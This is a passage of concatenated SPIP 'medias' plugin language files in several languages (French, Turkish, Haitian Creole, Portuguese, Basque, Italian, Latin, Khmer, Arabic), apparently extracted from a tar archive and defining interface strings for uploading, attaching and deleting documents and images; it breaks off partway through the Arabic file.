'bouton_ajouter_image_document' => 'Ajouter une image ou un document',
'bouton_attacher_document' => 'Attacher',
'bouton_copier_local' => 'Copier dans le site',
'bouton_download_depuis' => 'depuis :',
'bouton_download_local' => 'mon ordinateur',
'bouton_download_par_ftp' => 'le serveur',
'bouton_download_par_mediatheque' => 'la médiathèque',
'bouton_download_sur_le_web' => 'internet',
'bouton_enlever_document' => 'Détacher',
'bouton_enlever_supprimer_document' => 'Supprimer',
'bouton_enlever_supprimer_document_confirmation' => 'Es-tu sûr de vouloir supprimer le document ?',
'bouton_modifier_document' => 'Modifier',
'bouton_parcourir' => 'Parcourir…',
'bouton_refresh_document' => 'Rafraîchir le document',
'bouton_remplacer_document' => 'Remplacer ce document',
'bouton_remplacer_image' => 'Remplacer cette image',
'bouton_remplacer_image_document' => 'Remplacer par une image ou un document',
'bouton_supprimer' => 'Supprimer',
'bouton_supprimer_tous_orphelins' => 'Supprimer tous les orphelins',
'bouton_supprimer_tous_orphelins_confirmation' => 'Es-tu sûr de vouloir supprimer @nb@ orphelins ?',
'bouton_upload' => 'Téléverser',
// D
'des_audios' => '@nb@ bandes-son',
'des_documents' => '@nb@ documents',
'des_files' => '@nb@ documents',
'des_images' => '@nb@ images',
'des_utilisations' => '@nb@ utilisations',
'des_videos' => '@nb@ séquences',
'descriptif' => 'Description',
'document_attache_succes' => 'Le document a bien été ajouté',
'document_copie_locale_succes' => 'Le fichier a bien été copié dans le site',
'document_installe_succes' => 'Le fichier a bien été chargé',
'document_vu' => 'Inséré dans le texte',
'documents' => 'Médiathèque',
'documents_brises' => 'Brisés',
'documents_distants' => 'Distants',
'documents_locaux' => 'Locaux',
'documents_non_publies' => 'Non publiés',
'documents_orphelins' => 'Inutilisés',
'documents_publies' => 'Publiés',
'documents_tous' => 'Tous',
'double_clic_inserer_doc' => 'Double-cliques pour insérer ce raccourci dans le texte',
// E
'entree_dimensions' => 'Dimensions :',
'entree_titre_document' => 'Titre du document :',
'entree_titre_image' => 'Titre de l’image :',
'erreur_aucun_document' => 'Ce document n’existe pas dans la médiathèque',
'erreur_aucun_fichier' => 'Aucun fichier n’a été trouvé',
'erreur_chemin_distant' => 'Le fichier distant @nom@ n’a pas pu être trouvé',
'erreur_chemin_ftp' => 'Le fichier indiqué n’a pas été trouvé sur le serveur',
'erreur_copie_fichier' => 'Impossible de copier le fichier @nom@',
'erreur_dossier_tmp_manquant' => 'Un dossier temporaire est manquant pour télécharger les fichiers',
'erreur_ecriture_fichier' => 'Erreur lors de l’écriture du fichier sur le disque',
'erreur_format_fichier_image' => 'Le format de @nom@ ne convient pas pour une image',
'erreur_indiquez_un_fichier' => 'Indiques un fichier !',
'erreur_insertion_document_base' => 'Impossible d’enregistrer le document @fichier@ en base de données',
'erreur_suppression_vignette' => 'Erreur lors de la suppression de la vignette',
'erreur_upload_type_interdit' => 'Le téléchargement des fichiers du type de @nom@ n’est pas autorisé',
'erreur_upload_vignette' => 'Erreur lors du chargement de la vignette @nom@',
'erreurs' => '@nb@ erreurs',
'erreurs_voir' => 'Voir les @nb@ erreurs',
// F
'fichier_distant' => 'Fichier distant',
'fichier_manquant' => 'Fichier manquant',
'fichier_modifie' => 'Le fichier a été modifié. Cliquez sur enregistrer.',
'format_date_incorrect' => 'La date ou l’heure sont incorrectes',
// I
'icone_creer_document' => 'Ajouter un document',
'id' => 'ID',
'image_tourner_180' => 'Rotation 180°',
'image_tourner_droite' => 'Rotation 90° à droite',
'image_tourner_gauche' => 'Rotation 90° à gauche',
'info_doc_max_poids' => 'Les documents doivent obligatoirement faire moins de @maxi@ (ce fichier fait @actuel@).',
'info_document' => 'Document',
'info_document_indisponible' => 'Ce document n’est pas disponible',
'info_documents' => 'Documents',
'info_gauche_numero_document' => 'DOCUMENT NUMÉRO',
'info_hauteur' => 'Hauteur',
'info_heure' => 'Heure',
'info_illustrations' => 'Illustrations',
'info_image_max_poids' => 'Les images doivent obligatoirement faire moins de @maxi@ (ce fichier fait @actuel@).',
'info_inclusion_directe' => 'Inclusion directe :',
'info_inclusion_vignette' => 'Inclusion de la vignette :',
'info_installer_tous_documents' => 'Installer tous les documents',
'info_largeur' => 'Largeur',
'info_logo_max_taille' => 'Les logos doivent obligatoirement faire moins de @maxi@ (ce fichier fait @actuel@).',
'info_modifier_document' => 'Modifier le document',
'info_portfolio' => 'Portfolio',
'info_referencer_doc_distant' => 'Référencer un document sur l’internet :',
'info_sans_vignette' => 'Sans vignette',
'info_statut_document' => 'Ce document est :',
'info_telecharger' => 'Télécharger depuis ton ordinateur :',
'infos' => 'Infos techniques',
'item_autoriser_selectionner_date_en_ligne' => 'Permettre de modifier la date de chaque document',
'item_non_autoriser_selectionner_date_en_ligne' => 'La date des documents est celle de leur ajout sur le site',
// L
'label_activer_document_objets' => 'Activer le téléversement pour les contenus :',
'label_apercu' => 'Aperçu',
'label_caracteristiques' => 'Caractéristiques',
'label_credits' => 'Crédits',
'label_fichier' => 'Fichier',
'label_fichier_vignette' => 'Vignette',
'label_paginer_par' => 'Paginer par :',
'label_parents' => 'Ce document est lié à',
'label_refdoc_joindre' => 'Document numéro',
'lien_tout_enlever' => 'Tout enlever',
'logo' => 'Logo',
// M
'media_audio' => 'Bandes-son',
'media_file' => 'Autres',
'media_image' => 'Images',
'media_video' => 'Séquences',
'miniature_automatique_active' => 'SPIP génèrera automatiquement une miniature de l’image',
// N
'nb_documents_attache_succes' => '@nb@ documents ont bien été ajoutés',
'nb_documents_installe_succes' => '@nb@ fichiers chargés avec succès',
// O
'objet_document' => 'Document',
'objet_documents' => 'Documents',
// P
'par_date' => 'Date',
'par_hauteur' => 'Hauteur',
'par_id' => 'ID',
'par_largeur' => 'Largeur',
'par_taille' => 'Poids',
'par_titre' => 'Titre',
// T
'texte_documents_joints' => 'Tu peux activer l’interface d’ajout de documents (fichiers bureautiques, images, multimédia, etc.) aux articles, rubriques et autres. Ces fichiers peuvent ensuite être référencés dans le texte, ou affichés séparément.',
'texte_documents_joints_2' => 'Ce réglage n’empêche pas le téléversement d’images dans les articles ni l’insertion de document directement dans les textes des contenus.',
'titre_documents_joints' => 'Documents joints',
'titre_page_documents_edit' => 'Modifier le document : @titre@',
'tous_les_medias' => 'Tous les médias',
'tout_dossier_upload' => 'Tout le dossier @upload@',
'tout_voir' => 'Tout voir',
// U
'un_audio' => '1 bande-son',
'un_document' => '1 document',
'un_file' => '1 document',
'un_image' => '1 image',
'un_video' => '1 séquence',
'une_utilisation' => '1 utilisation',
'upload_fichier_zip' => 'Fichier ZIP',
'upload_fichier_zip_texte' => 'Le fichier que tu proposes d’installer est un fichier Zip.',
'upload_fichier_zip_texte2' => 'Ce fichier peut être :',
'upload_info_mode_document' => 'Déposer dans le portfolio',
'upload_info_mode_image' => 'Retirer du portfolio',
'upload_limit' => 'Ce fichier est trop gros pour le serveur ; la taille maximum autorisée en <i>upload</i> est de @max@.',
'upload_zip_conserver' => 'Conserver l’archive après extraction',
'upload_zip_decompacter' => 'décompressé et chaque élément qu’il contient installé sur le site. Les fichiers qui seront alors installés sur le site sont :',
'upload_zip_mode_document' => 'Déposer toutes les images dans le portfolio',
'upload_zip_telquel' => 'installé tel quel, en tant qu’archive compressée Zip ;',
'upload_zip_titrer' => 'Titrer selon le nom des fichiers',
// V
'verifier_documents_brises' => 'Vérifier les fichiers manquants',
'verifier_documents_inutilises' => 'Vérifier les liens des documents',
'vignette_supprimee' => 'La vignette a été supprimée'
);
?>
medias_tr.php 0000666 00000005356 15252255273 0007251 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=tr
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'Belge Ekle',
'bouton_ajouter_image' => 'Resim Ekle',
'bouton_ajouter_image_document' => 'Bir resim veya belge eklemek',
// D
'double_clic_inserer_doc' => 'Bu kısayolu metne eklemek için çift tıklayınız',
// E
'entree_dimensions' => 'Boyutlar :',
'entree_titre_document' => 'Belge başlığı :',
'entree_titre_image' => 'Resim başlığı :',
// I
'image_tourner_180' => '180° döndür',
'image_tourner_droite' => '90° sağa döndür',
'image_tourner_gauche' => '90° sola döndür',
'info_document' => 'Belge',
'info_document_indisponible' => 'Bu belge uygun (boşta) değil',
'info_documents' => 'Belge',
'info_inclusion_directe' => 'Direkt ekleme :',
'info_inclusion_vignette' => 'İkon ekleme :',
'info_installer_tous_documents' => 'Tüm belgeleri kur',
'info_logo_max_taille' => 'Logolar @maxi@ dan daha küçük olmalıdır (bu dosyanın boyutu @actuel@).',
'info_portfolio' => 'Portföy',
'info_referencer_doc_distant' => 'Internet üzerinde bir dokümana atıfta bulunmak :',
'info_telecharger' => 'Bilgisayarınızdan indiriniz :',
'item_autoriser_selectionner_date_en_ligne' => 'Her belgenin çevrimiçi yayınlanma tarihinin değiştirilmesine izin vermek',
'item_non_autoriser_selectionner_date_en_ligne' => 'Belgelerin tarihleri siteye eklendikleri tarihtir',
// T
'texte_documents_joints' => 'Makale ve/veya bölümlere doküman eklenmesine izin verebilirsiniz
(dosya, resim, mültimedya, vb.)
Bu dosyalar sonradan makalede atıf konusu olabilir
ya da ayrı olarak görüntülenebilirler. ', # MODIF
'texte_documents_joints_2' => 'Bu ayar, makalelere doğrudan resim girilmesine engel değildir.', # MODIF
'titre_documents_joints' => 'Ekteki dokümanlar',
'tout_dossier_upload' => 'Tüm @upload@ dosyası',
// U
'upload_fichier_zip' => 'ZIP dosya',
'upload_fichier_zip_texte' => 'Kurmayı önerdiğiniz dosya bir Zip dosya.',
'upload_fichier_zip_texte2' => 'Bu dosyanın şu sorunu olabilir :',
'upload_limit' => 'Bu dosya sunucuya göre fazla büyük ; yüklenmesine izin verilen en büyük dosya : <i>@max@</i>.',
'upload_zip_conserver' => 'Açtıktan sonra arşiv dosyasını sakla', # MODIF
'upload_zip_decompacter' => 'Açıldı ve içerdiği tüm elemanlar siteye kuruldu. Siteye kurulacak dosyalar şunlar :',
'upload_zip_telquel' => 'Sıkıştırılmış ZIP arşivi olarak, olduğu gibi kurulmuş ;',
'upload_zip_titrer' => 'Dosya isimlerine göre başlık ver'
);
?>
medias_cpf_hat.php 0000666 00000004303 15252255273 0010217 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=cpf_hat
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'AJOUTE YON DOKIMAN', # MODIF
'bouton_ajouter_image' => 'AJOUTE YON IMAJ', # MODIF
// D
'double_clic_inserer_doc' => 'Apiyé-doub pou mèt tichemen-nan nan teks sa-a',
// E
'entree_dimensions' => 'Tay :',
'entree_titre_document' => 'Kouman dokiman i rele :',
'entree_titre_image' => 'Kouman imaj i rele :',
// I
'image_tourner_180' => 'Touné 180°',
'image_tourner_droite' => 'Touné 90° drwat ',
'image_tourner_gauche' => 'Touné 90° gòch',
'info_document' => 'Dokiman',
'info_documents' => 'Dokiman yo',
'info_inclusion_directe' => 'Enklizyon dirèk :',
'info_inclusion_vignette' => 'Enklizyon viyèt sa-a :',
'info_installer_tous_documents' => 'Enstal tout dokiman',
'info_logo_max_taille' => 'Fok logo yo se mwen @maxi@ (fichye sa-a se @actuel@).',
'info_portfolio' => 'Pòtfolio',
'info_referencer_doc_distant' => 'Réféwanse yon dokiman-déo sou entènèt :',
'info_telecharger' => 'Telechaj sou lòdinatè ou :',
// T
'texte_documents_joints' => 'Ou kapab permè ajoute tou dokiman (fichye birotik, limaj,
miltimédia, etousa.) nan atik ak ribrik yo. Fichye sa-yo
se posib référans azot aprè nan latik
osnon afiche azot tou sèl.', # MODIF
'texte_documents_joints_2' => 'Règlaj-la ka pa enpeche bay zot limaj nan atik dirékman.', # MODIF
'titre_documents_joints' => 'Dokiman yo te jwenn nan atik',
'tout_dossier_upload' => 'Dosyé-a tout antyé @upload@',
// U
'upload_fichier_zip' => 'Fichye ZIP',
'upload_fichier_zip_texte' => 'Fichye sak w ap pwopoze instale se yon fichye Zip.',
'upload_fichier_zip_texte2' => 'Fichye se petèt :',
'upload_limit' => 'Fichye a se two gwo pou servèr la ; pli gran tay posib pou <i>upload</i>se @max@.',
'upload_zip_decompacter' => 'dekonprese ek chak eleman li ka kontni se instale sou sit-la. Fichye yo ke instale sou sit-la se :',
'upload_zip_telquel' => 'te enstale komsa kom achiv koprese Zip ;'
);
?>
medias_pt_br.php 0000666 00000011207 15252255273 0007722 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=pt_br
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucun_document' => 'Nenhum documento',
'aucun_file' => 'nenhum documento',
'aucun_image' => 'Nenhuma imagem',
'aucune_vignette' => 'Nenhuma miniatura',
// B
'bouton_ajouter_document' => 'Incluir ao documento',
'bouton_ajouter_image' => 'Incluir uma imagem',
'bouton_ajouter_image_document' => 'Incluir uma imagem ou um documento',
'bouton_attacher_document' => 'Anexar',
'bouton_download_depuis' => 'local :',
'bouton_download_local' => 'meu computador',
'bouton_download_par_ftp' => 'do servidor',
'bouton_download_par_mediatheque' => 'biblioteca de mídia',
'bouton_download_sur_le_web' => 'internet',
'bouton_enlever_supprimer_document' => 'Remover',
'bouton_modifier_document' => 'Editar',
'bouton_supprimer' => 'Remover',
'bouton_upload' => 'Download',
// D
'descriptif' => 'Descrição',
'double_clic_inserer_doc' => 'Faça um clique duplo para inserir este atalho no texto',
// E
'entree_dimensions' => 'Dimensões:',
'entree_titre_document' => 'Título do documento:',
'entree_titre_image' => 'Título da imagem:',
'erreur_indiquez_un_fichier' => 'Indique um arquivo !',
// I
'icone_creer_document' => 'Adicionar ao documento',
'id' => 'ID',
'image_tourner_180' => 'Rodar 180°',
'image_tourner_droite' => 'Rodar 90° à direita',
'image_tourner_gauche' => 'Rodar 90° à esquerda',
'info_document' => 'Documento',
'info_document_indisponible' => 'Este documento não está disponível',
'info_documents' => 'Documentos',
'info_hauteur' => 'Altura',
'info_heure' => 'Tempo',
'info_illustrations' => 'Ilustrações',
'info_inclusion_directe' => 'Inclusão direta:',
'info_inclusion_vignette' => 'Inclusão do ícone:',
'info_installer_tous_documents' => 'Instalar todos os documentos',
'info_largeur' => 'Largura',
'info_logo_max_taille' => 'Os ícones devem obrigatoriamente ter menos de @maxi@ (este arquivo tem @actuel@).',
'info_modifier_document' => 'Editar documento',
'info_portfolio' => 'Portfólio',
'info_referencer_doc_distant' => 'Referenciar um documento na internet:',
'info_telecharger' => 'Transferir do seu computador:',
'item_autoriser_selectionner_date_en_ligne' => 'Permite modificar a data de cada documento',
'item_non_autoriser_selectionner_date_en_ligne' => 'A data dos documentos é a mesma da incorporação ao site',
// L
'label_caracteristiques' => 'Características',
'label_credits' => 'Créditos',
'label_fichier' => 'Arquivo',
'label_fichier_vignette' => 'Miniatura',
'label_refdoc_joindre' => 'Número do documento',
'lien_tout_enlever' => 'Remover todos',
'logo' => 'Logo',
// M
'media_file' => 'Outro',
'media_image' => 'Imagens',
'media_video' => 'Sequências',
// O
'objet_document' => 'Documento',
'objet_documents' => 'Documentos',
// P
'par_date' => 'Data',
'par_hauteur' => 'Altura',
'par_id' => 'ID',
'par_largeur' => 'Largura',
'par_taille' => 'Peso',
'par_titre' => 'Título',
// T
'texte_documents_joints' => 'Você pode autorizar a inclusão de documentos (arquivos, imagens, multimídia etc.) às matérias e/ou às seções. Estes arquivos podem, em seguida, ser referenciados na matéria, ou exibidos separadamente.',
'texte_documents_joints_2' => 'Esta escolha não impede a inserção de imagens diretamente nas matérias', # MODIF
'titre_documents_joints' => 'Documentos anexados',
'tous_les_medias' => 'Todas as mídias',
'tout_dossier_upload' => 'Todo o diretório @upload@',
'tout_voir' => 'Ver todos',
// U
'upload_fichier_zip' => 'Arquivo ZIP',
'upload_fichier_zip_texte' => 'O arquivo que você propôs instalar é um arquivo Zip.',
'upload_fichier_zip_texte2' => 'Este arquivo pode ser:',
'upload_info_mode_document' => 'Coloque no portfolio',
'upload_info_mode_image' => 'Retirar do portfolio',
'upload_limit' => 'Este arquivo é grande demais para o servidor; o tamanho máximo autorizado para <i>upload</i> é de @max@.',
'upload_zip_conserver' => 'Manter o arquivo após extração', # MODIF
'upload_zip_decompacter' => 'expandido e cada elemento que ele contém gravados no site. Os arquivos que serão então gravados são:',
'upload_zip_telquel' => 'instalado; como arquivo compactado Zip;',
'upload_zip_titrer' => 'Titular de acordo com o nome dos arquivos',
// V
'verifier_documents_brises' => 'Verifique se há arquivos ausentes',
'verifier_documents_inutilises' => 'Verifique os links dos documentos',
'vignette_supprimee' => 'A miniatura foi removida'
);
?>
medias_eu.php 0000666 00000005333 15252255273 0007230 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=eu
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'Dokumentu bat erantsi',
'bouton_ajouter_image' => 'Irudi bat erantsi',
'bouton_ajouter_image_document' => 'Irudi bat edo dokumentu bat erantsi',
// D
'double_clic_inserer_doc' => 'klik bikoitzaren bidez lasterbidea testoan txertatzen ahal duzu',
// E
'entree_dimensions' => 'Dimentsioak',
'entree_titre_document' => 'Agiriaren izenburua :',
'entree_titre_image' => 'Irudiaren izenburua :',
// I
'image_tourner_180' => '180 graduko errotazioa',
'image_tourner_droite' => '90 graduko errotazioa eskuinera',
'image_tourner_gauche' => '90 graduko errotazioa ezkerrera',
'info_document' => 'Dokumentua',
'info_document_indisponible' => 'Dokumentu hau ez da erabilgarria',
'info_documents' => 'Dokumentuak',
'info_inclusion_directe' => 'Zuzeneko inklusioa:',
'info_inclusion_vignette' => 'Miniaturaren inklusioa :',
'info_installer_tous_documents' => 'Dokumentu guztiak instalatu',
'info_logo_max_taille' => 'Logoek @maxi@ baino gutxiago neurtu behar dure derrigorrez (artxiboak @actuel@ neurtzen du).',
'info_portfolio' => 'Album-orrialdea',
'info_referencer_doc_distant' => 'Dokumentu bat interneten erreferentziatu :',
'info_telecharger' => 'Zure ordenagailutik igo :',
'item_autoriser_selectionner_date_en_ligne' => 'dokumentu bakotxaren data aldatzea baimendu',
'item_non_autoriser_selectionner_date_en_ligne' => 'Dokumentuen data da gunean noiz gehituak izan diren data',
// T
'texte_documents_joints' => 'Dokumentuak(fitxategi bulegotikak, irudiak, multimedia, etab.) artikuluetara eta/edo ataletara gehitzea baimendu ahal duzu. Gero fitxategi hauek artikuluan erreferientziatuak izaten ahalko dira, edo bananduta bistaratuak.', # MODIF
'texte_documents_joints_2' => 'Konfigurazio honek ez du galarazten irudien zuzeneko txertatzea artikuluetan.', # MODIF
'titre_documents_joints' => 'Erantsitako dokumentuak',
'tout_dossier_upload' => 'Karpeta osoa @upload@',
// U
'upload_fichier_zip' => 'ZIP fitxategia',
'upload_fichier_zip_texte' => 'Instalatzea proposatzen den fitxategia Zip fitxategi bat da.',
'upload_fichier_zip_texte2' => 'Fitxategi hau izan ahal da:',
'upload_limit' => 'Fitxategi hauhandiegia da zerbitzarirako; baimendutako gehienezko tamainia upload-ean@max@-koa da.',
'upload_zip_decompacter' => 'deskonprimituta eta gunean instalatutadaukan elementu bakoitza. Gunean instalatu egingo diren fitxategiak dira:',
'upload_zip_telquel' => 'Besterik gabe instalatuta, Zip fitxategi bezala;'
);
?>
medias_it_fem.php 0000666 00000005574 15252255273 0010071 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=it_fem
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'Aggiungi un documento',
'bouton_ajouter_image' => 'Aggiungi un’immagine',
'bouton_ajouter_image_document' => 'Aggiungi un’immagine o un documento',
// D
'double_clic_inserer_doc' => 'Doppio clic qui per inserire la scorciatoia nel testo',
// E
'entree_dimensions' => 'Dimensioni:',
'entree_titre_document' => 'Titolo del documento:',
'entree_titre_image' => 'Titolo dell’immagine:',
// I
'image_tourner_180' => 'Ruota 180°',
'image_tourner_droite' => 'Ruota 90° a destra',
'image_tourner_gauche' => 'Ruota 90° a sinistra',
'info_document' => 'Documento',
'info_document_indisponible' => 'Questo documento non è disponibile',
'info_documents' => 'Documenti',
'info_inclusion_directe' => 'Inclusione diretta:',
'info_inclusion_vignette' => 'Inclusione dell’immagine:',
'info_installer_tous_documents' => 'Installare tutti i documenti',
'info_logo_max_taille' => 'I logo devono obbligatoriamente avere una dimensione inferiore a @maxi@ (questo file è di @actuel@).',
'info_portfolio' => 'Portfolio',
'info_referencer_doc_distant' => 'Mettere in repertorio un documento su Internet:',
'info_telecharger' => 'Upload dal tuo computer:',
'item_autoriser_selectionner_date_en_ligne' => 'Permetti di modificare la data di ogni documento',
'item_non_autoriser_selectionner_date_en_ligne' => 'La data dei documenti è quella in cui sono stati aggiunti al sito.',
// T
'texte_documents_joints' => 'È possibile autorizzare l’aggiunta di documenti (file di testo, fogli elettronici, immagini, file multimediali, ecc.) agli articoli e/o alle rubriche. Questi file possono poi essere richiamati nel testo dell’articolo, o visualizzati separatamente.', # MODIF
'texte_documents_joints_2' => 'Questa impostazione non impedisce l’inserimento diretto di immagini negli articoli.', # MODIF
'titre_documents_joints' => 'Documenti allegati',
'tout_dossier_upload' => 'Tutta la cartella @upload@',
// U
'upload_fichier_zip' => 'File ZIP',
'upload_fichier_zip_texte' => 'Il file proposto è un file ZIP.',
'upload_fichier_zip_texte2' => 'Questo file può essere:',
'upload_limit' => 'Questo file è troppo grande per il server; la dimensione massima consentita per gli <i>upload</i> è di @max@.',
'upload_zip_conserver' => 'Conserva l’archivio al termine dell’estrazione', # MODIF
'upload_zip_decompacter' => 'decompresso e ogni elemento installato nel sito. I file che saranno installati nel sito sono:',
'upload_zip_telquel' => 'installato così com’è in quanto archivio compresso Zip;',
'upload_zip_titrer' => 'Dare i titoli in base al nome dei file'
);
?>
medias_la.php 0000666 00000002567 15252255273 0007221 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=la
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'DOCVMENTVM ADDERE', # MODIF
'bouton_ajouter_image' => 'IMAGINEM ADDERE', # MODIF
// E
'entree_titre_document' => 'Documenti titulus:',
'entree_titre_image' => 'Imaginis titulus:',
// I
'image_tourner_180' => 'Rotatio per CLXXX gradus',
'image_tourner_droite' => 'Rotatio per 90 gradus ad dextram',
'image_tourner_gauche' => 'Rotatio per XC gradus ad sinistram',
'info_document' => 'Documentum',
'info_documents' => 'Documenta',
'info_installer_tous_documents' => 'Omnia documenta collocare',
'info_portfolio' => 'Documentorum album',
'info_telecharger' => 'De computatro tuo ad rete mittere:',
// T
'texte_documents_joints' => 'Vous pouvez autoriser l’ajout de documents (fichiers bureautiques, images,
multimédia, etc.) aux articles et/ou aux rubriques. Ces fichiers
peuvent ensuite être référencés dans
l’article, ou affichés séparément.', # MODIF
// U
'upload_fichier_zip' => 'ZIP scapus',
'upload_fichier_zip_texte' => 'Scapus quem collocare proposuisti ZIP est.',
'upload_fichier_zip_texte2' => 'Forsitan hic scapus sit:'
);
?>
medias_km.php 0000666 00000010511 15252255273 0007220 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=km
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// B
'bouton_ajouter_document' => 'បន្ថែម មួយឯកសារ',
'bouton_ajouter_image' => 'បន្ថែម មួយរូបភាព',
'bouton_ajouter_image_document' => 'បន្ថែម មួយរូបភាព ឬ មួយឯកសារ',
// D
'double_clic_inserer_doc' => 'ចុចផ្ទួន ដើម្បីបញ្ចូល ផ្លូវកាត់នេះ ក្នុងអត្ថបទ',
// E
'entree_dimensions' => 'ខ្មាត ៖',
'entree_titre_document' => 'ចំណងជើង ឯកសារ៖',
'entree_titre_image' => 'ចំណងជើង រូបភាព៖',
// I
'image_tourner_180' => 'បង្វិល ១៨០ អង្សា',
'image_tourner_droite' => 'បង្វិល ៩០ អង្សា ទៅស្ដាំ',
'image_tourner_gauche' => 'បង្វិល ៩០ អង្សា ទៅឆ្វេង',
'info_document' => 'ឯកសារ ៖',
'info_document_indisponible' => 'ឯកសារនេះ គ្មានស្រាប់',
'info_documents' => 'ឯកសារ',
'info_inclusion_directe' => 'ការរួមបញ្ចូល ដោយផ្ទាល់ ៖',
'info_inclusion_vignette' => 'ការរួមបញ្ចូល កូនរូបភាព ៖',
'info_installer_tous_documents' => 'តំលើង គ្រប់ឯកសារ',
'info_logo_max_taille' => 'រូបសញ្ញា ត្រូវតែតិចជាង @maxi@ (សំណុំឯកសារនេះ មាន @actuel@)។',
'info_portfolio' => 'ផលប័ត្រ',
'info_referencer_doc_distant' => 'យោង មួយឯកសារ លើអិនរើណែត ៖',
'info_telecharger' => 'ផ្ទុកឡើង ពីខំព្យូរើ របស់អ្នក ៖',
// T
'texte_documents_joints' => 'លោកអ្នកអាចអនុញ្ញាតចំពោះការបន្ថែមឯកសារ (ហ្វាលអត្ថបទ រូបភាព ឬភាពយន្ដ។ល។) ចូលទៅក្នុងអត្ថបទ និង/ឬផ្នែក។ ដូច្នេះ ហ្វាលទាំងនេះអាចយោងនៅក្នុងអត្ថបទ ឬត្រូវបានបង្ហាញដាច់ដោយឡែក។', # MODIF
'texte_documents_joints_2' => 'ការកំណត់នេះមិនបញ្ឈប់ការបញ្ចូលរូបភាពទោក្នុងអត្ថបទនេះដោយផ្ទាល់នោះទេ។', # MODIF
'titre_documents_joints' => 'ឯកសារភ្ជាប់',
'tout_dossier_upload' => 'ថតឯកសារ @upload@ ទាំងមូល',
// U
'upload_fichier_zip' => 'សំណុំឯកសារ ZIP',
'upload_fichier_zip_texte' => 'សំណុំឯកសារ ដែលអ្នកស្នើតំលើង ជា មួយសំណុំឯកសារ ZIP',
'upload_fichier_zip_texte2' => 'ឯកសារនេះ អាចជា ៖',
'upload_limit' => 'សំណុំឯកសារនេះ មានទំហំធំពេក សំរាប់ខំព្យូរើបំរើសេវា ; ទំហំអតិបរិមា ត្រូវបានអនុញ្ញាតិ <i>ផ្ទុកឡើង</i> គឺ @max@។',
'upload_zip_decompacter' => 'បានពន្លាត និង សំណុំឯកសារនីមួយៗ ដែលវាមានផ្ទុក ត្រូវបានតំលើង លើសៃថ៍។ សំណុំឯកសារ នឹងត្រូវបានតំលើង លើសៃថ៍ គឺ៖',
'upload_zip_telquel' => 'បានតំលើង តាមដំណើរ, ជាទំរង់បណ្ណសារ ត្រូវបានបង្ហាប់ ZIP ;'
);
?>
medias_ar.php 0000666 00000023504 15252255273 0007221 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/medias?lang_cible=ar
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// A
'aucun_audio' => 'لا يوجد ملفات صوت',
'aucun_document' => 'لا يوجد مستندات',
'aucun_file' => 'لا يوجد مستندات',
'aucun_image' => 'لا يوجد صور',
'aucun_video' => 'لا يوجد ملفات فيديو',
'aucune_utilisation' => 'هذا المستند غير مستخدم',
'aucune_vignette' => 'لا يوجد مصغرات',
// B
'bouton_ajouter_document' => 'إضافة مستند',
'bouton_ajouter_image' => 'إضافة صورة',
'bouton_ajouter_image_document' => 'إضافة صورة أو مستند',
'bouton_attacher_document' => 'ربط
',
'bouton_copier_local' => 'نسخ في الموقع',
'bouton_download_depuis' => 'منذ:',
'bouton_download_local' => 'جهازي',
'bouton_download_par_ftp' => 'جهاز الخدمة',
'bouton_download_par_mediatheque' => 'مكتبة المستندات',
'bouton_download_sur_le_web' => 'شبكة إنترنت',
'bouton_enlever_document' => 'إزالة الربط',
'bouton_enlever_supprimer_document' => 'حذف',
'bouton_enlever_supprimer_document_confirmation' => 'هل تريد فعلاً حذف المستند؟',
'bouton_modifier_document' => 'تعديل',
'bouton_parcourir' => 'عرض...',
'bouton_refresh_document' => 'تحديث المستند',
'bouton_remplacer_document' => 'تبديل هذا المستند',
'bouton_remplacer_image' => 'تبديل هذه الصورة',
'bouton_remplacer_image_document' => 'استبدال بصورة إو مستند',
'bouton_supprimer' => 'حذف',
'bouton_supprimer_tous_orphelins' => 'حذف كل المستندات غير المستخدمة',
'bouton_supprimer_tous_orphelins_confirmation' => 'هل تريد فعلاً حذف @nb@ مستند غير مربوط؟',
'bouton_upload' => 'تنزيل',
// D
'des_audios' => '@nb@ ملف صوت',
'des_documents' => '@nb@ مستند',
'des_files' => '@nb@ مستند',
'des_images' => '@nb@ صورة',
'des_utilisations' => '@nb@ استخدام',
'des_videos' => '@nb@ ملف فيديو',
'descriptif' => 'وصف',
